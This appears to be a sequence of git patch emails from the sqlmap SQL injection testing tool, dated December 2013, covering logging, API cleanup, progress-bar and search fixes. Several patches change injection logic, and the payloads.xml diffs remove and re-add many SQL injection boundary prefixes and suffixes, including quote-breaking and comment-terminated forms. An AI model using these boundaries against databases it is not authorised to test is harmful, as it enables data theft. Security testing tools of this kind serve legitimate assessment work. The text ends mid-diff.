30427ebdc..e57ad0db0 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -71,6 +71,8 @@ class Database(object): def __init__(self, database=None): self.database = self.filepath if database is None else database + self.connection = None + self.cursor = None def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None) From 438ad73016f893147ea4402d26a97b9316861784 Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sun, 15 Dec 2013 09:22:01 +0100 Subject: [PATCH 153/889] avoid names shadowing --- lib/utils/api.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index e57ad0db0..9b8894dab 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -32,7 +32,7 @@ from lib.core.enums import PART_RUN_CONTENT_TYPES from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.subprocessng import Popen -from thirdparty.bottle.bottle import error +from thirdparty.bottle.bottle import error as return_error from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import hook from thirdparty.bottle.bottle import post @@ -182,6 +182,7 @@ class Task(object): def engine_has_terminated(self): return isinstance(self.engine_get_returncode(), int) + # Wrapper functions for sqlmap engine class StdDbOut(object): def __init__(self, taskid, messagetype="stdout"): @@ -289,25 +290,26 @@ def security_headers(json_header=True): # HTTP Status Code functions # ############################## -@error(401) # Access Denied + +@return_error(401) # Access Denied def error401(error=None): security_headers(False) return "Access denied" -@error(404) # Not Found +@return_error(404) # Not Found def error404(error=None): security_headers(False) return "Nothing here" -@error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) +@return_error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) def error405(error=None): security_headers(False) return "Method not allowed" -@error(500) # Internal Server Error +@return_error(500) # Internal Server Error def error500(error=None): security_headers(False) return "Internal server error" @@ -316,6 +318,7 @@ def error500(error=None): # Task management functions # ############################# + # Users' methods @get("/task/new") def task_new(): @@ -347,6 +350,7 @@ def task_delete(taskid): # Admin functions # ################### + @get("/admin//list") def task_list(taskid): """ @@ -354,8 +358,8 @@ def task_list(taskid): """ if is_admin(taskid): logger.debug("Listed task pull") - task_list = list(DataStore.tasks) - return jsonize({"success": True, "tasks": task_list, "tasks_num": len(task_list)}) + tasks = list(DataStore.tasks) + return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) else: return jsonize({"success": False, "message": "Unauthorized"}) @@ -379,6 +383,7 @@ def task_flush(taskid): # sqlmap core interact functions # ################################## + # Handle task's options @get("/option//list") def option_list(taskid): @@ -420,6 +425,7 @@ def option_set(taskid): return jsonize({"success": True}) + # Handle scans @post("/scan//start") def scan_start(taskid): @@ -516,6 +522,7 @@ def scan_data(taskid): logger.debug("Retrieved data and error messages for scan for task ID %s" % taskid) return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) + # Functions to handle scans' logs @get("/scan//log//") def scan_log_limited(taskid, start, end): @@ -562,6 +569,7 @@ def scan_log(taskid): logger.debug("Retrieved log messages for scan for task ID %s" % taskid) return jsonize({"success": True, "log": json_log_messages}) + # Function to handle files inside the output directory @get("/download///") def download(taskid, target, filename): From 4c9456dd72f86034c746a4488ee990921487f120 Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sun, 15 Dec 2013 16:59:47 +0100 Subject: [PATCH 154/889] moar logging! --- lib/utils/api.py | 46 ++++++++++++++++++++++++++++++++++------------ 1 file changed, 34 insertions(+), 12 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 9b8894dab..c44760698 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -212,7 +212,7 @@ class StdDbOut(object): # Delete partial output from IPC database if we have got a complete output if status == CONTENT_STATUS.COMPLETE: if len(output) > 0: - for index in xrange(0, len(output)): + for index in xrange(len(output)): conf.database_cursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) @@ -328,7 +328,7 @@ def task_new(): taskid = hexencode(os.urandom(8)) DataStore.tasks[taskid] = Task(taskid) - logger.debug("Created new task ID: %s" % taskid) + logger.debug(" [%s] Created new task" % taskid) return jsonize({"success": True, "taskid": taskid}) @@ -341,9 +341,10 @@ def task_delete(taskid): DataStore.tasks[taskid].clean_filesystem() DataStore.tasks.pop(taskid) - logger.debug("Deleted task ID: %s" % taskid) + logger.debug("[%s] Deleted task" % taskid) return jsonize({"success": True}) else: + logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) ################### @@ -357,10 +358,11 @@ def task_list(taskid): List task pull """ if is_admin(taskid): - logger.debug("Listed task pull") + logger.debug("[%s] Listed task pool" % taskid) tasks = list(DataStore.tasks) return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) else: + logger.warning("[%s] Unauthorized call to task_list()" % taskid) return jsonize({"success": False, "message": "Unauthorized"}) @@ -374,9 +376,10 @@ def task_flush(taskid): DataStore.tasks[task].clean_filesystem() DataStore.tasks = dict() - logger.debug("Flushed task pull") + logger.debug("[%s] Flushed task pool" % taskid) return jsonize({"success": True}) else: + logger.warning("[%s] Unauthorized call to task_flush()" % taskid) return jsonize({"success": False, "message": "Unauthorized"}) ################################## @@ -391,8 +394,10 @@ def option_list(taskid): List options for a certain task ID """ if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to option_list()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) + logger.debug("[%s] Listed task options" % taskid) return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()}) @@ -402,13 +407,16 @@ def option_get(taskid): Get the value of an option (command line switch) for a certain task ID """ if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to option_get()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) option = request.json.get("option", "") if option in DataStore.tasks[taskid].options: + logger.debug("[%s] Retrieved value for option %s" % (taskid, option)) return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)}) else: + logger.debug("[%s] Requested value for unknown option %s" % (taskid, option)) return jsonize({"success": False, "message": "Unknown option", option: "not set"}) @@ -418,11 +426,13 @@ def option_set(taskid): Set an option (command line switch) for a certain task ID """ if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) + logger.debug("[%s] Requested to set options" % taskid) return jsonize({"success": True}) @@ -433,6 +443,7 @@ def scan_start(taskid): Launch a scan """ if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Initialize sqlmap engine's options with user's provided options, if any @@ -445,7 +456,7 @@ def scan_start(taskid): # Launch sqlmap engine in a separate process DataStore.tasks[taskid].engine_start() - logger.debug("Started scan for task ID %s" % taskid) + logger.debug("[%s] Started scan" % taskid) return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()}) @@ -455,11 +466,12 @@ def scan_stop(taskid): Stop a scan """ if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_stop() - logger.debug("Stopped scan for task ID %s" % taskid) + logger.debug("[%s] Stopped scan" % taskid) return jsonize({"success": True}) @@ -469,11 +481,12 @@ def scan_kill(taskid): Kill a scan """ if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_kill() - logger.debug("Killed scan for task ID %s" % taskid) + logger.debug("[%s] Killed scan" % taskid) return jsonize({"success": True}) @@ -483,11 +496,12 @@ def scan_status(taskid): Returns status of a scan """ if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" - logger.debug("Requested status of scan for task ID %s" % taskid) + logger.debug("[%s] Retrieved scan status" % taskid) return jsonize({ "success": True, "status": status, @@ -504,6 +518,7 @@ def scan_data(taskid): json_errors_message = list() if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all data from the IPC database for the taskid @@ -519,7 +534,7 @@ def scan_data(taskid): (taskid,)): json_errors_message.append(error) - logger.debug("Retrieved data and error messages for scan for task ID %s" % taskid) + logger.debug("[%s] Retrieved scan data and error messages" % taskid) return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) @@ -532,9 +547,11 @@ def scan_log_limited(taskid, start, end): json_log_messages = list() if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_log_limited()") return jsonize({"success": False, "message": "Invalid task ID"}) if not start.isdigit() or not end.isdigit() or end < start: + logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) start = max(1, int(start)) @@ -547,7 +564,7 @@ def scan_log_limited(taskid, start, end): (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) - logger.debug("Retrieved subset of log messages for scan for task ID %s" % taskid) + logger.debug("[%s] Retrieved scan log messages subset" % taskid) return jsonize({"success": True, "log": json_log_messages}) @@ -559,6 +576,7 @@ def scan_log(taskid): json_log_messages = list() if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_log()") return jsonize({"success": False, "message": "Invalid task ID"}) # Read all log messages from the IPC database @@ -566,7 +584,7 @@ def scan_log(taskid): "SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) - logger.debug("Retrieved log messages for scan for task ID %s" % taskid) + logger.debug("[%s] Retrieved scan log messages" % taskid) return jsonize({"success": True, "log": json_log_messages}) @@ -577,19 +595,23 @@ def download(taskid, target, filename): Download a certain file from the file system """ if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to download()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Prevent file path traversal - the lame way if ".." in target: + logger.warning("[%s] Forbidden path (%s)" % (taskid, target)) return jsonize({"success": False, "message": "Forbidden path"}) path = os.path.join(paths.SQLMAP_OUTPUT_PATH, target) if os.path.exists(path): + logger.debug("[%s] Retrieved content of file %s" % (taskid, target)) with open(path, 'rb') as inf: file_content = inf.read() return jsonize({"success": True, "file": file_content.encode("base64")}) else: + logger.warning("[%s] File does not exist %s" % (taskid, target)) return jsonize({"success": False, "message": "File does not exist"}) From 4819e192004efffaf504049a58e3a68d245256ac Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 16 Dec 2013 22:00:47 +0100 Subject: [PATCH 155/889] Patch for an Issue #584 --- lib/utils/progress.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 7dd80507c..ebe74845b 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -20,7 +20,7 @@ class ProgressBar(object): self._oldProgBar = "" self._min = int(minValue) self._max = int(maxValue) - self._span = self._max - self._min + self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 self._times = [] @@ -49,7 +49,7 @@ class ProgressBar(object): diffFromMin = float(self._amount - self._min) percentDone = (diffFromMin / float(self._span)) * 100.0 percentDone = round(percentDone) - percentDone = int(percentDone) + percentDone = min(100, int(percentDone)) # Figure out how many hash bars the percentage should be allFull = self._width - len("100%% [] %s/%s ETA 00:00" % (self._max, self._max)) From 7d8eb148ce2a110266cefa533be9fc2e101e3896 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 17 Dec 2013 09:30:04 +0100 Subject: [PATCH 156/889] Patch for an Issue #565 (DuckDuckGo doesn't like identity encoding) --- lib/utils/google.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/lib/utils/google.py b/lib/utils/google.py index a53bfe1b7..b17508697 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -23,8 +23,10 @@ from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.settings import GOOGLE_REGEX from lib.core.settings import DUCKDUCKGO_REGEX +from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import UNICODE_ENCODING from lib.request.basic import decodePage +from lib.request.httpshandler import HTTPSHandler class Google(object): """ @@ -36,6 +38,7 @@ class Google(object): self._cj = cookielib.CookieJar() handlers.append(urllib2.HTTPCookieProcessor(self._cj)) + handlers.append(HTTPSHandler()) self.opener = urllib2.build_opener(*handlers) self.opener.addheaders = conf.httpHeaders @@ -116,8 +119,11 @@ class Google(object): url += "q=%s&p=%d&s=100" % (urlencode(dork, convall=True), gpage) if not conf.randomAgent: - conf.opener.addheaders = [_ for _ in conf.opener.addheaders if _[0].lower() != HTTP_HEADER.USER_AGENT.lower()] - conf.opener.addheaders.append((HTTP_HEADER.USER_AGENT, "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0")) + self.opener.addheaders = [_ for _ in self.opener.addheaders if _[0].lower() != HTTP_HEADER.USER_AGENT.lower()] + self.opener.addheaders.append((HTTP_HEADER.USER_AGENT, "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0")) + + self.opener.addheaders = [_ for _ in self.opener.addheaders if _[0].lower() != HTTP_HEADER.ACCEPT_ENCODING.lower()] + self.opener.addheaders.append((HTTP_HEADER.ACCEPT_ENCODING, HTTP_ACCEPT_ENCODING_HEADER_VALUE)) try: conn = self.opener.open(url) From f18abb1e9c79b0efad3efad4cfa3846e97ffcab6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 17 Dec 2013 09:30:51 +0100 Subject: [PATCH 157/889] Minor update (proxy can be also a https one (e.g. Burp for HTTPS targets) --- lib/core/enums.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/core/enums.py b/lib/core/enums.py index 325643b9e..6e3e48b9e 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -135,6 +135,7 @@ class MOBILES: class PROXY_TYPE: HTTP = "HTTP" + HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" From 9ead80d7071c5e5a9ba090ce94a7d7fd1c3c31e9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 17 Dec 2013 09:39:43 +0100 Subject: [PATCH 158/889] Minor patch for Issue #585 --- xml/errors.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/xml/errors.xml b/xml/errors.xml index ad587d135..c298e4a5f 100644 --- a/xml/errors.xml +++ b/xml/errors.xml @@ -82,7 +82,7 @@ - + From 2c2667b2beab5ad9435d7cf5b647147574154299 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 18 Dec 2013 00:56:11 +0100 Subject: [PATCH 159/889] Minor patch for an Issue #575 --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 256b9eb17..00f3be6ef 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2168,7 +2168,7 @@ def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CH return result -def urlencode(value, safe="%&=", convall=False, limit=False, spaceplus=False): +def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): """ URL encodes given value From ab64d385d6691c0674ebb393cfa1124916ffe8e3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 25 Dec 2013 22:18:57 +0100 Subject: [PATCH 160/889] Bug fix (stacked queries as in PgSQL and MsSQL DNS tunneling queries MUST end with the comment - not the recognized underlying technique's suffix) --- lib/techniques/dns/use.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 6f0bbc510..f1963771b 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -70,7 +70,7 @@ def dnsUse(payload, expression): if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) - query = agent.suffixQuery(query) + query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) From 02de2aee6d10b011c1d08f2c3dcc2981bcf6f0e8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 26 Dec 2013 22:27:04 +0100 Subject: [PATCH 161/889] Patch for an Issue #582 --- lib/core/agent.py | 3 ++- lib/core/common.py | 25 +++++++++++++------------ lib/core/option.py | 1 + 3 files changed, 16 insertions(+), 13 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index d010eac5b..25a050d9d 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -351,7 +351,8 @@ class Agent(object): else: nulledCastedField = rootQuery.isnull.query % nulledCastedField - if conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','): + kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',') + if conf.hexConvert or kb.binaryField: nulledCastedField = self.hexConvertField(nulledCastedField) return nulledCastedField diff --git a/lib/core/common.py b/lib/core/common.py index 00f3be6ef..81a60e601 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3478,18 +3478,19 @@ def decodeHexValue(value): if value and isinstance(value, basestring) and len(value) % 2 == 0: retVal = hexdecode(retVal) - if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): - try: - retVal = retVal.decode("utf-16-le") - except UnicodeDecodeError: - pass - elif Backend.isDbms(DBMS.HSQLDB): - try: - retVal = retVal.decode("utf-16-be") - except UnicodeDecodeError: - pass - if not isinstance(retVal, unicode): - retVal = getUnicode(retVal, "utf8") + if not kb.binaryField: + if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): + try: + retVal = retVal.decode("utf-16-le") + except UnicodeDecodeError: + pass + elif Backend.isDbms(DBMS.HSQLDB): + try: + retVal = retVal.decode("utf-16-be") + except UnicodeDecodeError: + pass + if not isinstance(retVal, unicode): + retVal = getUnicode(retVal, "utf8") return retVal diff --git a/lib/core/option.py b/lib/core/option.py index 7e3f878e6..2ac87d8f7 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1572,6 +1572,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.arch = None kb.authHeader = None kb.bannerFp = AttribDict() + kb.binaryField = False kb.brute = AttribDict({"tables": [], "columns": []}) kb.bruteMode = False From 7718edac9bc91a5e44dd750cdd3ef2ff4ab59b06 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2013 09:40:33 +0100 Subject: [PATCH 162/889] Fix for an Issue #570 --- lib/core/settings.py | 3 +++ lib/techniques/union/use.py | 25 +++++++++++++------------ 2 files changed, 16 insertions(+), 12 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1fce8a85f..9232f8878 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -99,6 +99,9 @@ BACKDOOR_RUN_CMD_TIMEOUT = 5 # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 +# In case of missing piece of partial union dump, buffered array must be flushed after certain size +MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 + # Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index bab4823ed..c3e4be8f4 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -44,6 +44,7 @@ from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData @@ -272,10 +273,10 @@ def unionUse(expression, unpack=True, dump=False): break if output: - if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))): - items = parseUnionPage(output) + with kb.locks.value: + if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))): + items = parseUnionPage(output) - with kb.locks.value: if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) # in case that we requested N columns and we get M!=N then we have to filter a bit @@ -286,14 +287,7 @@ def unionUse(expression, unpack=True, dump=False): if threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, items)) - while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: - threadData.shared.lastFlushed += 1 - _ = threadData.shared.buffered[0][1] - if not isNoneValue(_): - threadData.shared.value.extend(arrayizeValue(_)) - del threadData.shared.buffered[0] - else: - with kb.locks.value: + else: index = None if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) @@ -301,7 +295,14 @@ def unionUse(expression, unpack=True, dump=False): if threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, None)) - items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) + + items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) + + while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): + threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] + if not isNoneValue(_): + threadData.shared.value.extend(arrayizeValue(_)) + del threadData.shared.buffered[0] if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))))) From cadbddd607a5cfb1df5ea236d5b747daa7844ff7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2013 10:46:18 +0100 Subject: [PATCH 163/889] Adding a boundary proposed in Issue #564 --- lib/core/agent.py | 5 +- xml/payloads.xml | 266 +--------------------------------------------- 2 files changed, 5 insertions(+), 266 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 25a050d9d..b710aaa44 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -229,7 +229,10 @@ class Agent(object): pass elif suffix and not comment: - expression += " %s" % suffix + if suffix.startswith(GENERIC_SQL_COMMENT): + expression += "%s" % suffix + else: + expression += " %s" % suffix return re.sub(r"(?s);\W*;", ";", expression) diff --git a/xml/payloads.xml b/xml/payloads.xml index fded8b4e5..4b2089578 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -229,277 +229,13 @@ Formats: --> - - - 3 - 1 - 1,2 - 1 - ) - - - - - 4 - 1 - 1,2 - 2 - ') - - - - - 3 - 1,2,3 - 1,2 - 2 - ' - - - - - 5 - 1 - 1,2 - 4 - " - - - - - 1 1 1,2 1 - ) - AND ([RANDNUM]=[RANDNUM] - - - - 2 - 1 - 1,2 - 1 - )) - AND (([RANDNUM]=[RANDNUM] - - - - 3 - 1 - 1,2 - 1 - ))) - AND ((([RANDNUM]=[RANDNUM] - - - - 1 - 0 - 1,2,3 - 1 - - - - - 1 - 1 - 1,2 - 2 - ') - AND ('[RANDSTR]'='[RANDSTR] - - - - 2 - 1 - 1,2 - 2 - ')) - AND (('[RANDSTR]'='[RANDSTR] - - - - 3 - 1 - 1,2 - 2 - '))) - AND ((('[RANDSTR]'='[RANDSTR] - - - - 1 - 1 - 1,2 - 2 - ' - AND '[RANDSTR]'='[RANDSTR] - - - - 2 - 1 - 1,2 - 3 - ') - AND ('[RANDSTR]' LIKE '[RANDSTR] - - - - 3 - 1 - 1,2 - 3 - ')) - AND (('[RANDSTR]' LIKE '[RANDSTR] - - - - 4 - 1 - 1,2 - 3 - '))) - AND ((('[RANDSTR]' LIKE '[RANDSTR] - - - - 2 - 1 - 1,2 - 3 - ' - AND '[RANDSTR]' LIKE '[RANDSTR] - - - - 2 - 1 - 1,2 - 4 - ") - AND ("[RANDSTR]"="[RANDSTR] - - - - 3 - 1 - 1,2 - 4 - ")) - AND (("[RANDSTR]"="[RANDSTR] - - - - 4 - 1 - 1,2 - 4 - "))) - AND ((("[RANDSTR]"="[RANDSTR] - - - - 2 - 1 - 1,2 - 4 - " - AND "[RANDSTR]"="[RANDSTR] - - - - 3 - 1 - 1,2 - 5 - ") - AND ("[RANDSTR]" LIKE "[RANDSTR] - - - - 4 - 1 - 1,2 - 5 - ")) - AND (("[RANDSTR]" LIKE "[RANDSTR] - - - - 5 - 1 - 1,2 - 5 - "))) - AND ((("[RANDSTR]" LIKE "[RANDSTR] - - - - 3 - 1 - 1,2 - 5 - " - AND "[RANDSTR]" LIKE "[RANDSTR] - - - - 2 - 1 - 1,2 - 2 - %') - AND ('%'=' - - - - 3 - 1 - 1,2 - 2 - %')) - AND (('%'=' - - - - 4 - 1 - 1,2 - 2 - %'))) - AND ((('%'=' - - - - 1 - 1 - 1,2 - 2 - %' - AND '%'=' - - - - 5 - 1 - 1,2 - 2 - %00') - AND ('[RANDSTR]'='[RANDSTR] - - - - 4 - 1 - 1,2 - 2 - %00' - AND '[RANDSTR]'='[RANDSTR] + -- [RANDSTR] From 178056968f43d1f9cdbfbba210601b338a954978 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2013 10:49:15 +0100 Subject: [PATCH 164/889] Cleaning a leftover (deleted) made for Issue #564 --- xml/payloads.xml | 273 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 273 insertions(+) diff --git a/xml/payloads.xml b/xml/payloads.xml index 4b2089578..7b7e19d43 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -229,6 +229,279 @@ Formats: --> + + + 3 + 1 + 1,2 + 1 + ) + + + + + 4 + 1 + 1,2 + 2 + ') + + + + + 3 + 1,2,3 + 1,2 + 2 + ' + + + + + 5 + 1 + 1,2 + 4 + " + + + + + + + 1 + 1 + 1,2 + 1 + ) + AND ([RANDNUM]=[RANDNUM] + + + + 2 + 1 + 1,2 + 1 + )) + AND (([RANDNUM]=[RANDNUM] + + + + 3 + 1 + 1,2 + 1 + ))) + AND ((([RANDNUM]=[RANDNUM] + + + + 1 + 0 + 1,2,3 + 1 + + + + + + 1 + 1 + 1,2 + 2 + ') + AND ('[RANDSTR]'='[RANDSTR] + + + + 2 + 1 + 1,2 + 2 + ')) + AND (('[RANDSTR]'='[RANDSTR] + + + + 3 + 1 + 1,2 + 2 + '))) + AND ((('[RANDSTR]'='[RANDSTR] + + + + 1 + 1 + 1,2 + 2 + ' + AND '[RANDSTR]'='[RANDSTR] + + + + 2 + 1 + 1,2 + 3 + ') + AND ('[RANDSTR]' LIKE '[RANDSTR] + + + + 3 + 1 + 1,2 + 3 + ')) + AND (('[RANDSTR]' LIKE '[RANDSTR] + + + + 4 + 1 + 1,2 + 3 + '))) + AND ((('[RANDSTR]' LIKE '[RANDSTR] + + + + 2 + 1 + 1,2 + 3 + ' + AND '[RANDSTR]' LIKE '[RANDSTR] + + + + 2 + 1 + 1,2 + 4 + ") + AND ("[RANDSTR]"="[RANDSTR] + + + + 3 + 1 + 1,2 + 4 + ")) + AND (("[RANDSTR]"="[RANDSTR] + + + + 4 + 1 + 1,2 + 4 + "))) + AND ((("[RANDSTR]"="[RANDSTR] + + + + 2 + 1 + 1,2 + 4 + " + AND "[RANDSTR]"="[RANDSTR] + + + + 3 + 1 + 1,2 + 5 + ") + AND ("[RANDSTR]" LIKE "[RANDSTR] + + + + 4 + 1 + 1,2 + 5 + ")) + AND (("[RANDSTR]" LIKE "[RANDSTR] + + + + 5 + 1 + 1,2 + 5 + "))) + AND ((("[RANDSTR]" LIKE "[RANDSTR] + + + + 3 + 1 + 1,2 + 5 + " + AND "[RANDSTR]" LIKE "[RANDSTR] + + + + 2 + 1 + 1,2 + 2 + %') + AND ('%'=' + + + + 3 + 1 + 1,2 + 2 + %')) + AND (('%'=' + + + + 4 + 1 + 1,2 + 2 + %'))) + AND ((('%'=' + + + + 1 + 1 + 1,2 + 2 + %' + AND '%'=' + + + + 5 + 1 + 1,2 + 2 + %00') + AND ('[RANDSTR]'='[RANDSTR] + + + + 4 + 1 + 1,2 + 2 + %00' + AND '[RANDSTR]'='[RANDSTR] + + 1 1 From 6c80f2903b82e2f16e03d2b6b3a5da97d9fee515 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2013 11:02:59 +0100 Subject: [PATCH 165/889] Patch for an Issue #564 --- lib/controller/checks.py | 2 +- lib/core/agent.py | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 122e02f80..fe1713c32 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -322,7 +322,7 @@ def checkSqlInjection(place, parameter, value): # Threat the parameter original value according to the # test's tag - if where == PAYLOAD.WHERE.ORIGINAL: + if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix: origValue = value elif where == PAYLOAD.WHERE.NEGATIVE: # Use different page template than the original diff --git a/lib/core/agent.py b/lib/core/agent.py 